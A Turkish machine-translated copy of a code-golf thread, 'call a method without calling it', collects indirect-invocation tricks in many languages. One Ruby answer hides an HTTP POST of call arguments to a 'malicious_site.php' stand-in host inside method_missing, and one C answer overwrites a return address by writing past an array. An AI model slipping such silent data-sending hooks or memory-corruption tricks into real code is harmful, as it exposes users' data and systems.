[Kapat] çağırmadan bir yöntem çağırın


77

Şimdi silinmiş bir StackOverflow sorusundan esinlenildi . Açıkça çağırmadan, belirli bir yöntemin uygulanmasını sağlayacak bir yol bulabilir misiniz? Ne kadar dolaylı olursa, o kadar iyidir.

İşte tam olarak ne demek istediğimi (sadece örnekleme için kullanılan, tüm dilleri kabul edilen C):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Orijinal soru: görüntü tanımını buraya girin


58
+10471 ... güzel
14:11

29
Yığın taşması için ne kadar temsilciye ihtiyacınız olduğunu merak ediyorum?
PyRulez

34
Görünüşe göre bu @Mysticial hesabından bir karalama mesajı , avatarı görüyor. Mistik, lütfen sadece sekme sekmenize tıklayın?!?!?!
Doorknob

4
@Doorknob Neden o? Hepsi tek bir cevaptan geliyor.
FDinoff

8
@PyRulez Jon Skeet henüz yapmadı, bu yüzden şimdilik güvendeyiz .
Cole Johnson

Yanıtlar:


109

C

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

GCC ile derlenmiş, derleyici yerini printf("Goodbye!\n")ile puts("Goodbye!")basittir ve eşdeğer olması gerekiyordu ki,. Özel putsişlevimi gizlice sağladım , bu yüzden bunun yerine çağrılır.


1
@ user17752 Bu aslında GCC'nin -0'da bile yaptığı bir dönüşümdür. (. GCC 4.8, yine Belki de diğer sürümleri bazı diğer seçenekleri gerekiyor.)
HSD

1
Üzgünüm, hatam, macbook'umda clang kullandığımı unuttum.
DarkHeart

@ user17752 Teşekkürler, diğer derleyicilerle test etmedim, en azından aynı dönüşümü elde etmek için bir seçeneğin olduğunu bilmek güzel.
hvd

Tebrik! Kazanan sensin!

84

Kötü amaçlı yazılım, kodda çağrılmayan işlevleri nasıl yürütebilir? Tamponları aşarak!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

Sistemimde, dönüş adresi mainilk yerel değişkenin 3 sözcüğü üzerinde depolanıyor. Bu geri dönüş adresini başka bir işlevin adresiyle karıştırdığınızda, o işleve main"geri döner". Bu davranışı başka bir sistemde çoğaltmak istiyorsanız, başka bir değere 3 ince ayar yapmanız gerekebilir.


Beni yendi (+1) - Bu açık C çözümü.
Komintern

20
<!-- language: lang-c -->Vurgulamak için kodunuzdan önce iki satır kullanın .
Victor Stafusa

9
Tüm dolu @Victor, sözdizimi vurgulayan kahraman!
Jason C

@ Bu, resmi olarak belgelenmiştir mi? Evet ise nerede?
Thorbjørn Ravn Andersen


75

darbe

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

8
İstisna işleme. Diğer yöntem çağrısı!
phyrfox

56

Python 2

>>> def func(*args):
        print('somebody called me?')

İşte diğer cevaplardan ilham alan bazı yollar:

  1. doğrudan kodu çalıştırmak

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    Fonksiyonu çağırmamak için en iyi yol budur.

  2. yıkıcı kullanmak

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. Std G / Ç’yi kullanma

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. özellik aramalarını kullanma

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. İthalat mekanizması

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    Sanırım hepsi bu kadar .. Şimdi hiçbir şey ithal edemiyorum. Hayır bekle..

  6. Öğe alma braketlerini kullanma []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. Global değişkenleri kullanma. Benim favorim!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    hellobir erişimdir d['hello']. Bundan sonra dünya gri görünüyor.

  8. Meta sınıfları;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. Yineleyicileri kullanma (herhangi bir operatörü aşırı yükleyip kullanabilirsiniz)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. Hatalar!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. Altyapılar seni geri çağırıyor. Neredeyse her GUI bu işlevselliğe sahiptir.

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. Kaynak dizgiyi yürütün (func bir dosyada olmalıdır)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. Dekoratörler

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. turşu serileştirme ile (en az favoriler geliyor)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. Serileştirme kullanma

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

Daha fazla Python cevabı:


1
Güzel bir koleksiyon, ancak unuttu parçacığı . ;)
nyuszika7h

Bu cevap saçma. +1
asteri

Bu Python 3
Braden En İyi

1
Bu örneklerin birçoğu Python 3 ile de çalışır. Gösterilen meta sınıf ve istisna artırma Python 3'te çalışmaz.
Kullanıcı

22

JavaScript

Bu , kirli işi yapmak için JSFuck'ı kullanıyor .

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
Bunun açık bir işlev çağrısı olarak nitelendirildiğini düşünüyorum. Sadece çok karışık bir tane.
primo

3
@primo, çalıştırılacak bir javascript dizisi oluşturacak ve onu çağırmak için Function nesnesini edinecek. Ancak bunu yapmak için, türler arasında örtük dönüşümler kullanır; örneğin "", bir dizedir ve []0 olarak değerlendirilir, bu ""[[]]nedenle tanımsız ve ""[[]]+"""tanımsız" dır. Oradan münferit harfleri çıkarabilirsiniz: (""[[]]+"")[[]]"u". Yani daha çok rasgele kod ile exec çağırmak için bir kesmek gibi. Sanırım önemli mi?
Phil H

1
@PhilH Nasıl çalıştığını biliyorum. Son iki parantez kaldırın: function anonymous() { x() }.
primo

22

piton

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

Bu the_function, profilleme işlevi olarak belirlenir ve her işlev çağrısında yürütülmesine ve dönmesine neden olur.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

Bu Python mu?
Hosch250,

@ user2509848 Evet, bundan bahsetmeyi unuttum.
grc

C olmayan bir cevap! Daha fazlasını görmek isterdim: D

@Johnsyweb Lütfen meta.codegolf.stackexchange.com/q/1109/9498 adresini ziyaret edin . Her gönderiyi, sözdizimi vurgulaması içerecek şekilde düzenlemeye gerek yoktur, özellikle de kodun görünümünü etkilemiyorsa (örneğin kısa kod).
Justin,

@ Quincunx: Onaylandı ☻
Johnsyweb

18

C #

Bir sınıftaki herhangi bir yöntemi çağırmaya çalıştığınızda, DLR'yi her zaman bazı kodlar çalıştırmak için kötüye kullanabiliriz . Yürütülmekte olan yöntem sadece asla Bunun nedeni, biraz daha az ucuz / bariz vb delege, yansımaları, statik kurucular gibi çözümlere daha çağrılan ancak bu bile asla başvurulan bile onun adıyla.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

Bu her zaman yazdırır "Ha! Seni kandırdım!" ne çağırmaya çalıştığın önemli değila . Böylece kolayca yazabiliyordum a.SuperCaliFragilisticExpiAlidocious()ve aynı şeyi yapıyordu .


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

Bu çok doğrudan, ama kesinlikle değil çağrı için hello_world, fonksiyon yapmasa da yürütün.


16

Yakut

Wat esinlenerek .

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

15

C

İhtiyaçlarınıza uygunsa, program sonunda çağrılacak bir işlevi C'ye kaydedebilirsiniz:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

Java

Java ile bunu denedim:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

Bu yöntem secretMethodNotCalledInMainyalnızca yansıma tarafından çağrılır ve çağrılan secretMethodNotCalledInMainhiçbir şeyi aramıyorum (bunun yerine çağrılmayan bir şeyi arıyorum main). Ayrıca, mainJDK'nın yakalanmamış istisna işleyicisi devreye girdiğinde, kodun yansıtıcı bölümüne yöntemin dışında adı verilir .

İşte JVM bilgilerim:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

İşte programımın çıktısı:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

Onların NullPointerExceptionyansıma işlemek için yerel koddan atılmalarını beklemiyordum . Ancak, @ johnchen902 tarafından bahsedildiği gibi, bunun nedeni bazı yöntemleri devraldığı java.lang.Objectve onları nulls olarak adlandırdım.


Bunlar NPEJDK hatası değil. Eğer bildirilen örnek yöntemleri çağırmak için çalıştı çünkü atılan konum java.lang.Objectgibi toString()olan null.
johnchen902

@ johnchen902 Oh, elbette. Teşekkür ederim. Düzenledim.
Victor Stafusa

14

C ++

C ++ 'nın bir yolu, statik bir nesnenin yapıcısı ve / veya imhacısıdır:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
Ben de yeni aşırı yükleme ve silme düşündüm , ama bence üç cevap yeterli :)
fredoverflow

Yapıcılar / yıkıcılar C ++ 'da "yöntem" olarak kabul edilir mi? .NET ve Java'da aslında farklı bir üye türüdür. Sen olamaz doğrudan istediğiniz bile, statik ctor çağırmak ...
Aaronaught

@Aaronaught: Hiçbir şey C ++ 'ta “yöntem” olarak kabul edilmez (en azından ne hakkında konuştuğunu bilen herkes tarafından). Yapıcılar ve yıkıcılar, üye işlevlerdir. Bunlar "özel" üye işlevleri olsa da (örneğin, yapıcıların adları yoktur, bu nedenle onları doğrudan çağıramazsınız).
Jerry Coffin,

Ben sadece bu terimi kullandım çünkü OP yaptı. C / C ++ ve Java dışındaki tüm Java dillerinin hemen hemen her birinin metotları olmadığını biliyorum Ancak göze çarpan nokta, doğrudan çağrılmayacaklarıdır. Bir örnek kurucunun teknik olarak doğrudan çağrılmakta olduğunu newve bu nedenle olmadan birini çağırmanın ilginç bir cevabı olacağını iddia edebilirsiniznew . Ama bilmiyorum, statik yapıcılar biraz hile gibi hissediyor.
Aaron

@Aaronaught Önceden ayrılmış bir hafıza parçasına bir yapıcıyı çağırmak istiyorsanız, yazabilirsiniz new (p) foo(). Ve hafızayı serbest bırakmadan bir nesneyi imha edebilirsiniz p->~foo().
fredoverflow

12

C: Merhaba Dünya

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Çıktı:

Hello World!

Yöntemi bağlamak için, programın herhangi bir yerinde derlenecek printf () işlevine ihtiyacımız var, ancak aslında çağrılması gerekmiyor. Printf () ve main () işlevleri, kod segmentinde birbirinden 276 bayt bulunur. Bu değer işletim sistemine ve derleyiciye göre değişecektir. Bu kodla sisteminizdeki gerçek adresleri bulabilir ve sonra onları kolayca çıkarabilirsiniz:

printf("%d %d\n", &printf, &main);

4
*Önce maingerçekten kafa karıştırıcı ve gereksiz olduğunu. mainbir zorunluluktan çıkamayacağınız bir işlevdir, bu nedenle bir işlev göstergesine dolaylı olarak çürür. Bir int'den bir int fonksiyonunu çıkaramazsınız, bu yüzden tekrar bir fonksiyon göstergesine dönüşür. Sen de yazabilirsin (*****main-276);) Muhtemelen yazmak (&main-276)ya da (*(main-276))yerine.
fredoverflow

6
The * before main is really confusing and unnecessary.- Bu genellikle bu sitede iyi bir şey değil mi?
James Webster,

Bu izlenim altında standart, iyi biçimlendirilmiş bir programın kullanmayacağını main, ancak şimdi bulamayacağını söyledi ...
Damon

3
açıkça
şaşkın bir

9

C (GCC satır içi asm ile)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

Bu, GCC'den yayılan bazı kodların, nesne dosyasının farklı bir bölümüne girmesine neden olacak ve bu da kontrol akışının fonksiyondan "düşmesine" neden olacaktır. Açıkçası, GCC fonksiyonları yeniden sıralamaya karar verirse bunun işe yaramadığını unutmayın. GCC 3.4.6 ile MirBSD akımı / i386 üzerinde test edilmiştir -O2. (Ayrıca, hata ayıklamayı da keser, -ghataları giderir ☺)


8

PHP .45.4.0

Bu çözüm kuşkusuz korkunç bir karışıklık, ancak kendisine verilen görevi yerine getiriyor (ne kadar iyi bir performans göstereceğine dair bir şart yoktu ).

Çağrısız çağrı fonksiyonu :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

Çözüm :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Örnek :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Olası çıkışlar:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Açıklama :

Çağrıldığında, executeFunction()(kullandığı bu sadece, CLI çalıştırılabilir anlamına gelir anlamına gelir şu anda yürütülen dosyanın içeriğini okuyacak $argv, belirtilen fonksiyonun argümanları ve vücudu dışarı ayrıştırmak,) yeni bir yığın geri her şeyi birlikte kesmek eval()hepsini kodlayın ve sonucu döndürün. Sonuçta getRandomString()doğrudan veya dolaylı olarak aslında hiçbir zaman çağrılmaz, ancak işlev gövdesindeki kod hala yürütülür.


Peki, __construct()hiçbir zaman işlevini doğrudan çağırmadığınız, ancak new Something()bunun yerine kullandığınız için yöntem oluşturma PHP'de sayılır mı?
Damir Kasipovic

@ D.Kasipovic Bir neyse, biri doğrudan farklı bir şekilde, onu doğrudan çağırdığınızı iddia edebilir. Mevcut yaklaşımımı seçtim çünkü kutunun dışında düşünmeyi seviyorum. Ben sadece bir geri arama işlevi tescil olabilirdi etmek register_tick_function(), register_shutdown_function()ya da spl_autoload_register(), @ GRC Python cevaba benzer ama böyle hissediyorum 'hile' ve kolay yolu alıyor.
Tony Ellis


7

T-SQL

Bu yerleşik bir özellik. Kazanan için tetikler!

Gerçekten eğlenmek istiyorsanız, April Fool Günü'nde bir demet INSTEAD OF tetikleyicisi oluşturun.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

Sonuçlar:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

Çok şaka. Böyle lulz. Vay.

Tamirci bunu SQLFiddle'da genişletti.


2
Tetikleyiciler beni her zaman bir uygulama geliştiricisi olarak görür, asla beklemem.
Matthew

7

JavaScript

Firefox konsolunda:

